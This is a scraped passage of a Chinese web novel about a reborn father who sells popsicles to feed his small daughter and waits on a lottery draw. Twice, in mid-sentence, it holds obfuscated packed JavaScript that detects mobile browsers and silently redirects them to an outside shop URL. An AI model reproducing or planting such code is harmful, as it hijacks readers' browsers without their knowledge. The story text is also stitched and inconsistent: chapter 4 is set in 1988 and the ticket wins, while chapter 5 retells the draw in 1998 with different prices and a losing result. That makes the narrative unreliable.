中午吃什么?晚上呢?笑笑早上只喝了小半碗糊粥,孩子正在长身体,哪禁得住饿,连口热汤都没喝上,小脸蛋还是蜡黄的。
林凡抱着笑笑站在街边,人来人往的脚步声、说话声、自行车铃声绕在耳边,他第一次真切尝到“一文钱难倒英雄汉”的滋味。
空有二十多年的记忆,想过抓机遇、做买卖,可眼下连给女儿买个馒头的钱都快没有。
不能回家,家里什么都没有,纱柜是空的,米缸是见底的,油瓶倒过来都滴不出油,回去只能让笑笑跟着饿肚子。
他的目光又开始扫街,像猎人找猎物——废品站?家里只剩点破铜烂铁,那是苏晚晴当年陪嫁的铁锅、他的旧手表,是这个家最后一点念想,不能动,动了就什么都没了。
帮人扛包?他抱着笑笑,连手都腾不开,怎么扛?忽然,眼角瞥见街角的老太太——
她坐在小马扎上,旁边放着个漆皮掉了的木箱子,盖着厚棉被,红油漆写的“冰棍”二字褪了色,却在阳光下格外显眼,棉被缝里还冒着点凉气,偶尔能
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607469|187589||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
看见里面的白霜。
一个念头“唰”地冒出来!他记得这种老式冰棍,白糖味的批发价两三分,零售卖五分钱;水果味的贵点,批发一,零售一毛五。他兜里有七毛钱,够买几根,再转卖给放学的学生,多少能赚点,至少能让笑笑中午吃上碗热面条。
林凡的心脏又活泛起来,不是彩票那种虚无缥缈的希望,是实打实的求生本能,是能让笑笑不用饿肚子的可能。
他抱着笑笑快步走过去,老太太正用蒲扇扇风,扇面上还印着“计划生育好”的字样,边角磨破了,看见他过来,笑着露出缺了的门牙,声音哑哑的:
“小伙子,买冰棍啊?给闺女选根甜的?天热,解解暑。”
林凡蹲下身,手臂托着笑笑的屁股,让她坐得稳些,能清楚看见箱子里的冰棍,然后放软语气,带着点试探:
“大娘,我跟您商量个事儿。我多买几根,您按批发价给我行不?我去前面小学门口帮您卖卖,您也能多卖点,不用在这一直守着,天多热啊。”
老太太愣了下,把蒲扇停在半空,仔细打量他——年轻人虽然瘦,衣服旧,但眼神亮,不像偷鸡摸狗的坏人;
怀里的小姑娘睁着大眼睛,直勾勾地盯着箱子里的冰棍,小舌头还悄悄舔了下嘴唇,可怜兮兮的,让人疼。
她摸了摸棉被角,又看了看笑笑,叹了口气,声音软了点:
“批发价啊……水果的一,奶油的一毛五。你要多少?”
反正她在这也是等,有人帮着卖,还能省点劲,就是少赚点,图个省心。
林凡在心里快速算账:七毛钱全买水果冰棍,能买五根还剩一毛;但得留点头寸,万一卖不出去,至少还有一毛钱能买个馒头,不至于让笑笑饿肚子。而且冰棍化得快,买多了卖不完就浪费了。
“我要四根水果的。”他从口袋里数出四枚一毛的、一枚五分的、三枚一分的,指尖捏着钢镚儿,递了过去。钢镚儿在阳光下泛着光,却轻得让人心酸,连手都在颤。
老太太接过钱,一枚枚数清楚,放进贴身的布兜里,然后掀开棉被,一股冷气“呼”地冒出来,带着冰碴子的凉,瞬间驱散了身上的热意,连周围的空气都凉了点。她从里面拿出四根用油纸包着的冰棍,油纸是浅粉色的,印着小小的苹果图案,递给他:
“拿好啊,别捏太狠,化得快,油纸破了就漏了。”
林凡接过冰棍,油纸裹着的冰凉渗进指尖,连掌心都泛起凉意,赶紧揣进怀里,借着体温挡点热。他拆开一根,油纸“刺啦”响,甜丝丝的橘子味飘出来,勾得人咽口水。
笑笑的眼睛瞬间亮了,像落了颗星星,小手伸过来,却又不敢抢,只是眼巴巴地看着,小嘴巴还微微张着。
“慢点吃,凉,别咬着舌头。”
林凡把冰棍递到她嘴边,看着她迫不及待地舔了一口,小眉头皱了下,大概是太凉了,又立刻舒展开,满足地眯起眼,小脚丫还轻轻晃了晃,像只开心的小兔子。
甜水顺着她的嘴角往下流,她赶紧用小手擦掉,又把指尖的甜水舔干净,小脸上终于露出今天第一个真正的笑容,像朵晒了太阳的小雏菊,嫩得让人疼。
林凡看着女儿的笑,鼻子一酸,觉得再难都值了。他用油纸把剩下的三根冰棍包好,揣进怀里,又把笑笑往怀里搂了搂,让她的小脑袋靠在自己锁骨处,挡住点阳光,手指轻轻拂过她额前的碎发。
太阳已经升到头顶,晒得柏油路发烫,鞋底踩上去都粘得“滋滋”响,远处传来学校的预备铃声,“叮铃铃”的,离放学只剩十几分钟了。
他抱着笑笑快步往职工子弟小学走,脚步又快又稳,怕走慢了冰棍化了,也怕赶不上放学的学生。手臂托着笑笑的力气放得很轻,怕勒着她,又怕抱不稳。
这是他和命运抗争的第一步,微小,却很坚实。口袋里的彩票藏着未来的希望,怀里的冰棍握着当下的生存,而他怀里的笑笑,是支撑他走下去的全部勇气。
笑笑抓着冰棍,小脑袋跟着他的步子轻轻晃,眼睛里满是新奇,偶尔还会指着路边的小野花,小声说
“爸爸,花”,声音软得像棉花,又指着追蝴蝶的小狗,怯生生地喊
“爸爸,狗”,小脸上满是欢喜。
林凡低头看了眼女儿,又摸了摸口袋里的彩票,脚步更稳了。
阳光虽然热,却晒得人心里亮堂,好像连未来的路,都变得清晰起来。
第四章:第一滴甜蜜的回报
第四章:第一滴甜蜜的回报
职工子弟小学那扇铁门,早被岁月啃得没了棱角——1988年的小城夏日常刮带着煤烟味的风,铁锈顺着斑驳的蓝漆往下淌,在门柱上积成暗褐色的溪流,沾着去年雨水留下的霉斑。
门楣上挂着的铜铃更旧,绿锈裹着铃身像裹了层青苔,连敲铃的铁棍都磨得发亮,露出里面的黄铜色,那是十几年学生手手相传磨出的光。
墙根下还摆着两个掉瓷的搪瓷盆,是收废品的老张头暂放的,盆沿印着“劳动最光荣”的红漆字,早就褪成了粉白色。
当分针颤巍巍追上时针,卡在十一点半的刻度时,校园里最后一节算术课刚结束。
讲台上的李老师还在擦黑板,粉笔灰混着风扇吹的热风往下落,底下的孩子早把书包扣好,手按在桌沿上等着。
“叮铃铃——叮铃铃——”
一阵急促的铃声猛地炸响,像颗石子砸进了平静的湖面。连校门口那棵三搂粗的梧桐叶都晃了晃,叶子上的蝉鸣顿了顿,又更响亮地叫起来,瞬间搅活了整条街的空气。
街对面的修车铺里,王师傅的扳手“当啷”掉在地上;粮油店的玻璃门被推开,老板娘探出头看了眼,又缩回去继续称米——这铃声她听了十几年,比自家闹钟还准。
这铃声是孩子们的冲锋号。
下一秒,原本静得能听见粉笔灰落声的校园突然“活”了——无数小身影涌出来:穿洗得发白的蓝校服的,袖口磨破了边,有的还缝着不同颜色的补丁;
套着碎花布衫的,布是妈妈用脚踏缝纫机轧的,领口绣着小小的梅花;背着军绿色帆布书包的,上面印着褪色的“为人民服务”,带子断了又用尼龙绳接好;还有拎着印着“黑猫警长”的小背包的,塑料扣早松了,得用手攥着才不掉。
孩子们欢呼着、叫喊着,有的举着弹弓追跑,橡皮筋“啪”地弹在地上,把小石子射向梧桐树干,留下一个个小白点;
有的蹲在路边比玻璃弹珠,亮闪闪的珠子在手心滚,输了的孩子噘着嘴,从兜里掏出颗奶糖抵账;还有的扯着接放学的大人的手要糖,喧闹声裹着汗水的咸气,混着远处煤厂飘来的煤烟味,瞬间把宽不过两米的街道填得满当当。
林凡抱着笑笑站在路边,手里攥着三根冰棍——是早上五点骑着借来的二八大杠自行车,去城西批发市场进的货。
当时天刚蒙蒙亮,批发市场里满是推着板车的小贩,他挤在人堆里,花了四角买了三根,红油纸裹山楂味、绿油纸裹苹果味、黄油纸裹橘子味,糖水早浸透了纸角,冰凉的水汽顺着指缝往下滴,在掌心积了个黏糊糊的小水洼,痒得他想挠,又怕把冰棍弄掉。
人潮涌来的瞬间,一个穿碎花衫的小女孩没站稳,胳膊肘撞在林凡腰上。他被撞得踉跄了一下,下意识把笑笑往怀里紧了紧,胳膊圈成个小圈子,像护着个易碎的瓷娃娃,隔开那些冲撞的小肩膀。
笑笑吓得往他颈窝里缩,小手攥着他洗得发皱的衬衫领,嘴里含着半口没化的橘子味冰棍,甜水顺着嘴角往下淌,滴在他的衣襟上,洇出个小小的甜印,风一吹,带着点橘子的清香。
“冰棍!水果冰棍!凉甜解渴的水果冰棍嘞!”
一声吆喝从林凡喉咙里挤出来,带着点破音,像被砂纸磨过。
他早上在筒子楼楼道里偷偷练过好几遍,对着斑驳的墙喊,怕被邻居听见笑话,可真站在街边,声音还是发颤——前世他坐在窗明几净的办公室里签合同、见客户,西装袖口永远熨得平整,钢笔是进口的派克,从未想过自己会站在满是煤烟味的街边,像个小贩似的扯着嗓子喊。
可低头看见笑笑沾着糖渍的嘴角,看见她亮晶晶的眼睛里映着自己的影子,那点可怜的自尊心瞬间融成了热流,顺着血管淌进心里。活下去,让笑笑每天能吃上热馒头,能偶尔喝上碗鸡蛋羹,比什么都重要。
他的吆喝声在嘈杂里像片小羽毛,却还是被几个跑得满头大汗的男孩抓住了。领头的是个剃着**头、皮肤黝黑的男孩,叫铁蛋,是附近机械厂张师傅的儿子,平时放学总帮家里捡废铁换零花钱。
他额头上的汗顺着脸颊往下淌,滴在洗得发白的蓝背心领口,洇出一小片湿痕,喘着气问:“冰棍?多少钱一根?”眼睛直勾勾盯着红油纸裹着的山楂味冰棍,咽了口唾沫,喉结动得像个小石子。
“一毛五一根。”
林凡赶紧把冰棍往前递了递,冰凉的甜香飘过去,男孩的眼睛更亮了,像落了两颗星星——他昨天还跟妈妈闹着要山楂冰棍,妈妈说“等发了工资再买”,现在总算见着了。
“一毛五?巷口张奶奶那儿也卖一毛五,你这都化糖水了!”
铁蛋挺精明,指着林凡指缝间往下滴的甜水,往后退了半步,小手还摸了摸裤兜——兜里是他捡了三天废铁换的一角二,要是多花三分,晚上就没钱买弹珠了。
林凡心里一紧——冰棍的边角已经软了,再等十分钟,恐怕就成糖水了。他赶紧放软语气,声音里带了点恳切:
“小同学,你看天这么热,柏油路都晒得发软,这冰棍再放会儿就化没了。
你是我第一个买主,一角二,就按我进货的价钱给你,就这一根,多划算啊——你要是买张奶奶的,还得多走五十步呢!”
铁蛋眼睛转了转,小手在裤兜里掏了半天,摸出一把皱巴巴的零钱——有三个一分的,两个五分的,还有一个边缘磨平的两分硬币,在手心攥得发烫,汗都把纸钞浸软了。
他数了三遍,确认凑够一角二,踮着脚塞到林凡手里,指尖还沾着点煤灰。
他一把抢过冰棍,撕开油纸就啃,冰凉的甜意顺着喉咙往下滑,像喝了口冰镇汽水,他“啊”了一声,冻得缩了缩脖子,却笑得露出两颗小虎牙,跑回小伙伴堆里还不忘喊:
“真甜!比张奶奶那儿的还甜!这山楂肉多!”
第一笔生意成了!
虽然少赚了三分钱——这三分钱能买一块水果糖,或者半根铅笔——但林凡的心脏“咚咚”跳得欢,手心攥着带着孩子体温的硬币,竟比前世攥着百万合同还踏实。钱虽少,却是他用双手挣来的,是能让笑笑晚上多喝半碗粥的实在,比什么都金贵。
像是打开了开关,几个原本在观望的孩子听见动静,也围了过来。一个扎着羊角辫的小女孩扯着奶奶的衣角,小手指着绿油纸的苹果味冰棍,声音软乎乎的:
“奶奶,我要那个!绿的!闻着像咱家院子里的苹果花!”
奶奶是退休纺织厂的女工,手里还拎着刚买的青菜,见孙女馋得直咽口水,叹口气掏出钱包——钱包是人造革的,边角都裂了,摸出一毛五递过去。
还有个戴红领巾的男孩干脆掏出两毛钱,递得老高,声音响亮:
“给我一根黄的!要橘子味的!我妈说橘子能补充维生素,比吃维生素片便宜!”
他是附近小学的中队长,说话还带着点小大人的认真。
剩下的两根冰棍很快被抢空。林凡手忙脚乱地收钱,指尖沾着糖水,黏糊糊的,却笑得合不拢嘴。
两**四分钱攥在手里,加上早上剩下的两**,总共五**八——虽然比进货成本四只多了一毛六,还不够买一碗馄饨,但笑笑嘴里还含着半根冰棍,小脸上满是满足,这就值了。
“爸爸……好吃……”
笑笑舔了舔嘴角的糖渍,声音软乎乎的,像刚剥壳的棉花糖,眼睛亮得能映出头顶的梧桐叶。
“好吃就好。”
林凡用手背蹭掉女儿嘴角的糖,指尖触到她软乎乎的脸颊,暖得像揣了个小太阳。
他不再是那个困在悔恨里的失败者——前世他投资失败,欠了一屁股债,连笑笑的学费都交不起——现在,他是能为女儿挣一口甜的父亲。
人潮渐渐散去,校门口的梧桐叶又恢复了安静,蝉鸣也慢了下来。
林凡掂量着手里的五**八,目光飘向街角——张奶奶还坐在小马扎上,蒲扇扇得“呼呼”响,冰棍箱上的棉被盖得严严实实,连个角都没露。
张奶奶是退休纺织厂女工,老伴走得早,靠卖冰棍补贴家用,那冰棍箱是她去年冬天托人从县城供销社买的,花了十五块,相当于她半个月的退休金,平时宝贝得很。
一个更大胆的念头在他脑子里冒出来,像颗发了芽的种子——有了冰棍箱,冰棍能多保冷两个小时,就能多卖几根,说不定晚上能给笑笑买碗鸡蛋羹。
他抱着笑笑走过去,张奶奶抬头看见他,有点惊讶地放下蒲扇:
“哟,小伙子,这么快就卖完了?我这才刚卖出去一根呢。”
“卖完了,大娘。”
林凡笑着递过四**八,硬币在手心码得整齐,
“我再买四根水果的,还是老样子——两根山楂,一根苹果,一根橘子。”
这次他特意留了一毛当“救命钱”——万一晚上没生意,还能买个馒头垫垫肚子,总不能让笑笑饿肚子。
张奶奶接过钱,指尖沾着点面粉(大概是早上蒸馒头蹭的),一边掀开棉被拿冰棍,一边嘟囔:
“你这速度还挺快,比我这老太婆强。我这眼睛不好,看钱都得凑到跟前。”
棉被掀开的瞬间,一股凉气冒出来,带着甜香,笑笑忍不住往林凡怀里缩了缩。
林凡接过四根冰棍,油纸裹着的冰凉硌着手心,却没立刻走。他蹲下身,语气诚恳得像在跟长辈请教:
“大娘,我跟您商量个事儿。您这冰棍箱,下午能借我用用不?我帮您多卖点,下午卖的钱,我每根就赚一分钱跑腿费,剩下的都归您。主要是我带着孩子,有个箱子能保冷,也看着正经点,您看行不?”
他指了指怀里的笑笑——小姑娘正乖乖靠在他怀里,小手抓着他的衣角,睁着大眼睛看张奶奶,像只听话的小兔子,小鞋上沾的泥土还蹭在林凡的裤腿上,留下两个小小的印子。
张奶奶看着笑笑那模样,想起自己早逝的孙女,心里软了软。
张奶奶用蒲扇拍了拍腿上的灰,目光落在笑笑那只抓着衣角的小手上,沉默了会儿:
“行吧。箱子你可得看好了,别磕着碰着,这箱子的锁还是我老头子当年给我装的,坏了可没地方修。冰棍还是一毛一根拿,你卖一毛五,多的三分里,你留一分,给我两分,对吧?”
“对!谢谢大娘!您真是好人!”
林凡心里一阵欢喜,有了箱子,冰棍不容易化,还能多卖几根,笑笑就能多吃口热的。
下午的太阳更毒了,柏油路晒得能烫脚,鞋底沾着的尘土一落地就化成灰,踩上去软乎乎的,像踩在刚晾好的年糕上。
林凡抱着笑笑,守着盖着棉被的冰棍箱,站在梧桐树荫下吆喝:
“冰棍!水果冰棍、奶油冰棍!凉甜解渴嘞!”
这次的吆喝声顺溜多了,还带了点熟稔的热乎气——他终于不再觉得丢人了。
他学会了观察——看见穿的确良衬衫的爷爷牵着孩子,就把奶油冰棍举得高些:
“大爷,奶油的香,孩子吃了解暑,还补营养!您看这奶油,都是正经牛奶做的,不是掺了水的!”
那爷爷是退休教师,一开始嫌贵,看到笑笑用小手给林凡擦汗,心一软就买了两根;看见妈妈带着小姑娘,就推荐水果味的:
“大姐,水果的酸甜,孩子肯定爱吃,比吃糖健康,还不蛀牙!”
笑笑也懂事,不吵不闹,看见爸爸额头的汗顺着鬓角往下淌,就掏出那块旧毛巾剪的小手帕——是林凡用自己的旧毛巾改的,边缘**糙——踮着脚往他脸上擦。
小手帕擦过林凡的下巴,留下点甜香,她还小声说:
“爸爸,不热。笑笑给你扇风。”说着就用小手往林凡脸上扇,风不大,却让林凡心里凉丝丝的。
下午的生意比上午顺多了。
四根冰棍没一会儿就卖完,收了六毛钱。扣除给张奶奶的四**八,净赚一毛,加上早上留的一毛,总共两**。
这两**能买四个甜烧饼,或者一根火腿肠,是实打实的利润,是他用汗水换的,攥在手里沉甸甸的。
四点的时候,林凡把箱子还给张奶奶,又递上四**八。
张奶奶数了数钱,指尖沾着的毛线头蹭在硬币上,笑着说:
“小伙子挺实在,不贪多。昨天还有人想借我箱子,说赚了钱分我一半,结果我没见着钱。明天还来不?我多进点奶油的,昨天好多人问,说孩子爱吃。”
“来!大娘,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607470|187589||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
明天我多拿点货——您进多少奶油的,我就帮您卖多少!”
林凡毫不犹豫——这是稳定的小收入,能让笑笑每天都有冰棍吃,不用再饿肚子。
抱着已经犯困的笑笑,林凡走在夕阳里。晚霞把天空染成橘红,连街边的电线杆都裹着层暖光,影子被拉得老长。
他的胳膊酸得发麻,后背的汗把衬衫都浸湿了,贴在身上难受,心里却像揣了个小太阳,满是充实感——就算没有彩票,他也能靠自己的双手,让笑笑过上好日子。
当然,那注彩票,还是今夜最大的盼头。
昨天他路过彩票站,花两毛钱买了注彩票,号码是笑笑生日加他的生日——3、8、0、5、1、8,他总觉得这号码带着运气。
路过烧饼摊时,笑笑的肚子突然“咕噜”响了一声,小小的声音在安静的街里格外清楚。她把头埋在林凡颈窝里,小声说:
“爸爸,饿……”
冰棍终究是甜的,填不饱肚子,孩子的胃早就空了——早上只喝了半碗稀粥。
林凡摸了摸口袋里的两**,指尖捏着硬币,咬了咬牙——就算自己饿着,也不能让笑笑饿。
他走向飘着芝麻香的烧饼摊,老板是安徽来的王师傅,在这摆摊三年了,每天凌晨三点起来和面,用的是老家的酵母,烧饼烤得外酥里软。
王师傅正用铁铲翻着烤得金黄的烧饼,香味飘得老远,勾得人咽口水,炉子里的火星子“噼啪”响。
“老板,烧饼怎么卖?”
“咸的五分,甜的三分。刚出炉的,热乎着呢!咸的里面加了我自家腌的咸菜,甜的是红糖,您尝尝?”
老板嗓门洪亮,铁铲“哐当”敲了下炉子,火星子溅起来,落在地上很快就灭了。
“要一个咸的。”
林凡数出五分钱,硬币在手里捏了半天——这五分能买一块橡皮,或者半张作业纸——才递过去。他接过烧饼——外皮金黄酥脆,撒满芝麻,还冒着热气,烫得他指尖发麻,赶紧用袖口裹了裹。
他把烧饼放在嘴边吹了又吹,直到指尖碰着不烫了,才递到笑笑手里:
“来,笑笑,吃吧,刚出炉的,香着呢。”
笑笑两只小手捧着烧饼,眼睛里满是惊喜——这烧饼比她的脸还大,边缘还沾着点芝麻。
她小心翼翼咬了小口,酥脆的外皮在嘴里化开,咸香混着麦香,眼睛瞬间亮了,赶紧又咬了一大口,酥脆的渣子掉在小手上,她赶紧用嘴接住,生怕浪费。
芝麻渣子粘在她的小虎牙上,她伸着舌头舔了半天,没舔着,急得小脸蛋通红。
“爸爸,好吃!你也吃!”
她把烧饼递到林凡嘴边,眼里满是期待,小脸上还沾着点芝麻。
林凡的眼眶瞬间就湿了。
他轻轻咬了一小口,粗糙的面粉混着咸香,在嘴里散开,比前世吃过的任何山珍海味都香——前世他住大房子、开豪车,却从未给女儿买过这么便宜的烧饼,还让她跟着自己受了那么多苦,连顿饱饭都吃不上。
回到筒子楼时,天已经黑透了。
这筒子楼是机械厂的老宿舍,一共五层,林凡住在三楼,楼道里堆着煤球和白菜,家家户户门口挂着腌菜缸,风一吹,满是咸菜味。
楼道里的声控灯坏了快一个月了,没人修,林凡只能摸着黑上楼,楼梯扶手锈得掉渣,他一手扶着扶手,一手抱着笑笑,脚步放得很轻,怕吵醒已经睡着的笑笑——小姑娘靠在他肩膀上,嘴里还嘟囔着“烧饼好吃”。
他把女儿轻轻放在床上,盖好洗得发白的蓝棉被——这棉被是笑笑出生时他妈妈做的,现在已经短了一截,盖到笑笑的脚踝就够不着了。
小姑娘睫毛颤了颤,很快就睡着了,小脸上还带着满足的笑,嘴角边还沾着点烧饼渣。
他坐在昏黄的钨丝灯下——这灯泡只有十五瓦,亮得很暗,连墙上的影子都忽明忽暗——从贴身口袋里掏出那张彩票。
彩票纸边已经被反复摩挲得发毛,边角还沾着点汗渍,他之前怕丢,一直放在贴身的口袋里,贴着心口,能感受到心跳。
他抖着手展开,借着微弱的灯光,一个数字一个数字地核对:3、8、0、5、1、8,没错,一个都没错。
他还特意把彩票凑到灯跟前,生怕看错——前世他就是因为粗心,错过一次赚钱的机会,这次再也不能错了。
就在这时,窗外传来了收音机的声音——是楼下小卖部的王老板开的,王老板每晚都听开奖节目,附近的邻居都知道。
收音机声音不大,却字字清晰,像根弦绷在林凡心上:
“各位听众朋友们,现在我们开始公布本期福利彩票中奖号码!首先公布的是二等奖号码,大家竖起耳朵听好——二等奖奖金五万元,五万元啊!够买一套房子了!”
林凡的心脏猛地提到了嗓子眼,手里的彩票攥得死紧,指节泛白,手心全是汗,连指尖都在抖。他屏住呼吸,耳朵竖得老高,连窗外的蝉鸣都听不见了——
蝉好像也在等开奖结果,突然停了声,连风声都没了,整个楼道静得能听见自己的心跳。
只有那道声音在空气里飘:
“二等奖号码是——3、8、0、5、1、8!重复一遍,3、8、0、5、1、8!
恭喜中奖的听众朋友!”
“轰!”
林凡的大脑瞬间一片空白,手里的彩票“啪”地掉在桌上。
他愣了几秒,眼睛直勾勾地盯着彩票,像傻了一样,然后才猛地反应过来,抓起彩票又核对了一遍——
3、8、0、5、1、8,和主持人念的一模一样!
眼泪“唰”地就下来了,他捂住嘴,怕吵醒笑笑,肩膀却忍不住发抖。
五万元!
在1988年的小城,五万元能买三套县城的房子,
能让他和笑笑彻底摆脱筒子楼,能让笑笑每天吃鸡蛋羹,
能让她上最好的小学,不用再跟着他受苦了!
他想起昨天还在担心明天的饭钱,
想起早上卖冰棍时的紧张,想起笑笑吃烧饼时满足的样子,
眼泪掉得更凶了,滴在彩票上,晕开了纸角的墨迹。
命运的齿轮,在这一刻,终于朝着光明的方向,稳稳地转了起来。
第五章:命运的号角
第五章:命运的号角
1998年夏,江州机械厂家属院的筒子楼里,墙皮在发潮的空气里卷着边,像张皱巴巴的旧报纸。
林凡租住的这间十平米小屋,水泥地裂着两道浅缝,墙角堆着半箱空啤酒瓶——是他下岗后打零工,老板用啤酒抵工资剩下的。
窗台上那台“熊猫牌”老式收音机,外壳掉了两块漆,调频旋钮锈得转不动,只能靠拍两下机身勉强听清声线,此刻它飘出的广播裹着“刺啦刺啦”的电流杂音,像把生了锈的重锤,每一下都砸在林凡紧绷的心上。
“……听众朋友们,欢迎收听《江州生活报》联合福利彩票中心推出的开奖直播——现在,位于市体育中心的摇奖机已通电就绪,工作人员正在核对设备,我们即将摇出本期‘好运36选6’的第一个号码……”
林凡猛地从吱呀作响的木板床边弹起,几乎是扑到窗边。
窗框是松木做的,被前几任租客磨出了三道深浅不一的凹槽,粗糙的木纹硌得他指腹发疼,掌心的老茧——
那是在机械厂拧螺丝、下岗后搬砖留下的硬皮,此刻正死死抠着木头,连指节都泛了白。
他屏住呼吸,耳朵竖得像警觉的兔子
连窗外老槐树的叶子被风吹得“沙沙”响都滤得一干二净。
房间里15瓦的白炽灯昏黄得像团蒙了灰的雾,把他的影子拉得细长,贴在斑驳的石灰墙上,像个等待宣判的囚徒。
后背的汗早被夜风凉透,贴在洗得发白的蓝布衬衫上,勾勒出他瘦削的肩线——自从妻子苏晚晴两年前不知何故离开以后,为了凑生活费卖掉唯一的自行车,他就没再胖过,颧骨在灯光下显得格外突出。
床上,三岁的笑笑早睡着了。
小小的身子蜷缩在洗得褪色的碎花被里,胸膛随着呼吸轻轻起伏,像只安静的小猫。
她嘴角还沾着点芝麻烧饼的油星——是巷口张奶奶家的,五毛钱一个,林凡每天只舍得给笑笑买一个,自己啃两毛钱的冷馒头。
睫毛垂下来,在眼下投出浅浅的阴影,像两把小扇子。她忽然翻了个身,小手无意识地抓着林凡衬衫的下摆——那是他唯一一件没打补丁的衬衫,还是结婚时穿的——梦话里含糊地飘出“绿豆冰棍”两个字,声音软得像棉花糖。
这孩子哪知道,这场开奖对父女俩意味着什么。
下午林凡顶着38度的烈日,推着张奶奶借他的旧木箱,在三条街里转了四个小时,卖出去二十一支绿豆冰棍——三分钱一支,赚了六毛钱。
汗水滴在柏油路上,瞬间就蒸发成个小印子,他的塑料凉鞋磨破了脚后跟,渗出血丝,却没舍得给自己买一支。
笑笑眼巴巴盯着木箱时,他只敢说“等爸爸赚了钱,给你买奶油的”,其实心里早把希望押在了这张三块钱的彩票上——这钱是他从牙缝里省了五天,连最便宜的烟都戒了才凑出来的。
“……第一个号码是——3号球!”
收音机里女主持人清脆的声线刚落,林凡的心脏“咚”地一跳,像被人狠狠攥了一把。
他的拳头“唰”地攥紧,指甲差点嵌进掌心。
3!是笑笑三岁那年,第一次清晰喊出“爸爸”的月份!当时她发着烧,却突然睁着眼睛看着他,软软地喊了声“爸爸”,那一刻他在医院走廊里蹲了很久,眼泪止不住地流。
热流顺着血管往上涌,连指尖都开始发烫,像揣了颗刚从灶膛里掏出来的小太阳。
“……第二个号码,摇奖机停稳了,是8号球!”
又对了!
林凡感觉血液里像掺了温酒,从脚底直冲头顶,耳尖嗡嗡地响。
8是笑笑的生日日期——5月18号的“8”,去年笑笑生日,他没钱买蛋糕,就用面粉混了点糖,蒸了个“蛋糕”,笑笑却吃得一脸满足,说“比幼儿园的还甜”。
他盯着窗玻璃上自己的倒影:眼眶红得像充血,眼神亮得吓人,那点刚冒头的希望,像被风吹着的柴火,“噌”地窜高了半截。
“……第三个号码,0号球!!”
第三个也对了!
林凡的呼吸骤然粗重,胸口起伏得厉害,连肩膀都开始微微颤抖。
0是笑笑出生时的体重——6斤整,当时护士抱着皱巴巴的小家伙告诉他“是个女孩,6斤重”,他激动得差点摔在产房门口。
他想起下午卖冰棍时,笑笑在巷口等他,手里攥着块湿毛巾,说“爸爸擦汗”,那毛巾是她用自己的洗脸巾改的,洗得软乎乎的。这些细碎的画面像暖融融的棉花,撑着他等最后三个数字。
“……第四个号码,工作人员正在确认——是5号球!!”
“嗬——”
林凡喉咙里挤出一声无意识的抽气,差点喊出声。
5!是笑笑的生日月份!他赶紧用手捂住嘴,指腹蹭到牙齿的颤抖,生怕吵醒女儿。
笑笑这两个月总说“爸爸,我想吃肉”,他只能去菜市场捡人家不要的菜叶子,偶尔买块五毛钱的碎肉,煮成汤给笑笑喝,自己连汤渣都舍不得碰。
现在,只差最后两个数字了!
他清清楚楚记得,前世自己没敢买这组“带0带5”的号码,总觉得“不吉利”,
结果这期二等奖就是这组,奖金整整五万元——在这个人均月工资只有三百二十块的年代,五万元足够在县城买一套带小院的**房,足够让笑笑每天都吃上肉,不用再啃冷馒头!
“……第五个号码,摇奖机再次启动——1号球!!!”
第五个也对了!1!
是他和笑笑相依为命的“1”——只剩他们父女俩了。
林凡的头皮一阵发麻,狂喜像涨潮的海水,瞬间漫过了胸口。
他甚至能清晰想象出兑奖的场景:市彩票中心的玻璃柜台后,工作人员把一沓沓崭新的十元纸币扎成捆,递到他手里时还带着油墨的香味;
笑笑穿上他早就看中的粉色连衣裙——就在百货大楼的童装区,标价二十八块,他以前每次路过都要多看两眼;晚上还能带着笑笑去吃顿“肯德基”——听说里面的汉堡包夹着大块鸡肉,笑笑在幼儿园听小朋友说过,回来问他“汉堡是什么味道”,当时他只能含糊其辞。
只差最后一个!
只要是8,就是完整的“3、8、0、5、1、8”——
是他精心选的“笑笑专属号码”,就能稳稳拿下二等奖!
他死死抠着窗框,指甲缝里渗出血丝都没察觉。
全部的注意力都钉在那台收音机上,连呼吸都忘了,只听见里面传来塑料小球在摇奖机里碰撞的脆响:
“叮当、叮当”,
像命运的齿轮在缓缓转动,每一下都磨得他心脏发紧,连后背的冷汗都冒了出来。
主持人故意顿了顿,声音里带着笑意:
“各位听众别急,最后一个特别号码马上揭晓——这关系到一等奖的百万奖金哦!”
像是在吊足所有人的胃口,那几秒钟在林凡眼里漫长得像几个世纪。
墙上那台分针停在三点的旧挂钟,
“滴答、滴答”
的声音此刻格外刺耳,他甚至能数清自己的心跳——每分钟一百二十下,
比在机械厂扛机床时还快。
终于,主持人的声线再次响起,清晰得像贴在他耳边:
“……最后一个号码,经过三次核对,本期特别号码是——9号球!!”
9?
不是8?
林凡脸上的血色“唰”地褪得一干二净,
刚才还在血管里沸腾的热流,瞬间被一盆冰水浇灭,只剩下极致的茫然。
他僵在原地,手指慢慢松开窗框,松木的纹路在掌心留下三道深深的印子,疼得发麻,却远不及心里的冷。
怎么会是9?
他记得清清楚楚,前世看报纸时,这期的特别号码明明是8!
是笑笑生日里的那个8!
难道重生的记忆出了偏差?还是说,他根本就没重生,只是做了场太逼真的梦?
一股冰冷的寒意从脊椎骨窜起,瞬间裹住四肢百骸。
刚燃起的希望像被狂风撕碎的纸,连碎片都没剩下,留下的空虚比没中奖前更难受——
从云端跌进深渊的落差,压得他胸口发闷,连呼吸都觉得疼。
